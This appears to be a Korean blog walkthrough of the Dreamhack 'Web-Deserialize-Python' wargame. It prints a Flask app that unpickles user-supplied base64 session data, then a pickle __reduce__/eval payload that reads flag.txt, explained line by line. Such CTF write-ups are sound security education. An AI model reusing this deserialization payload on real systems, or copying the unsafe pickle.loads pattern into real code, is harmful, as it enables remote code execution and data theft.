λ³Έλ¬Έ λ°”λ‘œκ°€κΈ°
βœ’οΈ Web Hacking/Dreamhack

[Dreamhack] Web-Deserialize-Python λ“œλ¦Όν•΅ μ›Œκ²Œμž„ 문제 풀이

by A Lim Han 2023. 8. 15.

🐦 Web-Deserialize-Python λ“œλ¦Όν•΅ μ›Œκ²Œμž„ 문제 풀이

1.  λ¬Έμ œμ— λŒ€ν•œ μ„€λͺ…을 읽은 ν›„ 문제 파일 λ‹€μš΄λ‘œλ“œ

2.  λ‹€μš΄λ°›μ€ app.py 파일 μ˜€ν”ˆ ν›„ μ½”λ“œ 뢄석

2 - 1.  ν•„μš”ν•œ ν”„λ ˆμž„μ›Œν¬μ™€ λͺ¨λ“ˆ κ°€μ Έμ˜€κΈ°

#!/usr/bin/env python3

from flask import Flask, request, render_template, redirect
import os, pickle, base64

 

μ½”λ“œ μ„€λͺ…
Flask ν”„λ ˆμž„μ›Œν¬ μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜ 개발 및 싀행에 ν•„μš”
OS λͺ¨λ“ˆ 운영체제 κ΄€λ ¨ κΈ°λŠ₯ μˆ˜ν–‰
Pickle Python 객체 직렬화 & μ—­μ§ˆλ ¬ν™”
Base64 λ°μ΄ν„°μ˜ Base64 ν˜•μ‹ 인코딩 & λ””μ½”λ”©

2 - 2.  Flask μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜ 및 μ‹œν¬λ¦Ώ ν‚€ 생성

app = Flask(__name__)
app.secret_key = os.urandom(32)

2 - 3.  flag.txt νŒŒμΌμ„ μ˜€ν”ˆν•œ ν›„, λ‚΄μš©μ„ 읽어와 FLAG λ³€μˆ˜μ— κ°’ μ €μž₯

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

 

파일이 μ‘΄μž¬ν•  경우 파일이 μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” 경우
ν•΄λ‹Ή λ‚΄μš©μ„ FLAG λ³€μˆ˜μ— μ €μž₯ FLAG λ³€μˆ˜μ— μž„μ˜μ˜ FLAGκ°’ ν• λ‹Ή

2 - 4.  μ„Έμ…˜ μ •λ³΄λ‘œ μ‚¬μš©ν•  ν‚€ 이름듀을 INFO λ¦¬μŠ€νŠΈμ— μ €μž₯

INFO = ['name', 'userid', 'password']

2 - 5.  루트 경둜('/')둜 μ ‘μ†ν–ˆμ„ λ•Œ, index.html ν…œν”Œλ¦Ώμ„ λ Œλ”λ§ν•˜μ—¬ λ°˜ν™˜

@app.route('/')
def index():
    return render_template('index.html')

2 - 6.  μš”μ²­ ν˜•μ‹μ— 따라 μ•„λž˜ μž‘μ—… μˆ˜ν–‰

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

 

GET POST
'create_session.html' ν…œν”Œλ¦Ώμ„ λ Œλ”λ§ν•΄μ„œ λ°˜ν™˜ Base64 인코딩 κ²°κ³Όλ₯Ό 'create_session.html' ν…œν”Œλ¦Ώμ— 전달

2 - 7.  μš”μ²­ ν˜•μ‹μ— 따라 데이터 처리

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

 

GET POST
'check_session.html' ν…œν”Œλ¦Ώμ„ λ Œλ”λ§ν•΄μ„œ λ°˜ν™˜ νΌμ—μ„œ 제좜된 μ„Έμ…˜ 데이터λ₯Ό 받아와 역직렬화
⬇️
'check_session.html' ν…œν”Œλ¦Ώμ— μ •λ³΄λ‘œ 전달

2 - 8.  Flask μ•±μ„ μ‹€ν–‰ν•˜μ—¬ μ™ΈλΆ€ μ ‘속 ν—ˆμš©

app.run(host='0.0.0.0', port=8000)

3.  μ„œλ²„ 생성 ν›„ Create Session 클릭

4.  μž…λ ₯λž€μ— λͺ¨λ‘ test1 을 μž‘μ„±ν•˜κ³  Create 클릭  -->  μΈμ½”λ”©λœ μ„Έμ…˜μ΄ 생성됨을 확인

5.  Check Session νŽ˜μ΄μ§€λ‘œ μ΄λ™ν•˜μ—¬ 이전에 μƒμ„±ν•œ κ°’ μž…λ ₯  -->  계정 정보가 λ³΅ν˜Έν™”λœ 것을 확인

6.  Flag.txt νŒŒμΌμ„ μ½μ–΄μ˜€κΈ° μœ„ν•œ 슀크립트 μ‚¬μš©

import pickle, base64

class test:
    def __reduce__(self):
        p="open('./flag.txt').read()"
        return (eval,(p,))
 
rs={'name':test()}
 
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))

 

슀크립트 좜처: https://mokpo.tistory.com/156

 


 

β‘  import pickle, base64

파이썬 ν‘œμ€€ λΌμ΄λΈŒλŸ¬λ¦¬μ—μ„œ `pickle`κ³Ό `base64` λͺ¨λ“ˆ μž„ν¬νŠΈ


β‘‘ class test

`test`λΌλŠ” μ΄λ¦„μ˜ 클래슀 μ •μ˜


β‘’ def __reduce__(self)

객체의 μƒνƒœλ₯Ό λ³΅μ›ν•˜λŠ” reduce λ©”μ„œλ“œ μ •μ˜


β‘£ p="open('./flag.txt').read()"

파일 μ‹œμŠ€ν…œμ—μ„œ `flag.txt` 파일의 λ‚΄μš©μ„ μ½μ–΄μ˜€κΈ°


β‘€ return (eval,(p,))

결과값을 eval() ν•¨μˆ˜μ™€ ν•¨κ»˜ νŠœν”Œ ν˜•νƒœλ‘œ λ°˜ν™˜


β‘₯ rs={'name':test()}

`test` 클래슀의 μΈμŠ€ν„΄μŠ€λ₯Ό `rs` λ”•μ…”λ„ˆλ¦¬μ— `'name'`μ΄λΌλŠ” ν‚€λ‘œ μ €μž₯


⑦ print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))

pickle.dumps() ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ `rs` λ”•μ…”λ„ˆλ¦¬λ₯Ό μ§λ ¬ν™”ν•˜κ³ , κ·Έ κ²°κ³Όλ₯Ό `base64.b64encode` ν•¨μˆ˜λ₯Ό 톡해 Base64둜 인코딩

7.  슀크립트λ₯Ό μ‹€ν–‰ν•œ ν›„, 결과값을 Session Check μž…λ ₯λž€μ— μž‘μ„±

8.  μž…λ ₯ ν›„ Check 클릭  -->  FLAG 확인 κ°€λŠ₯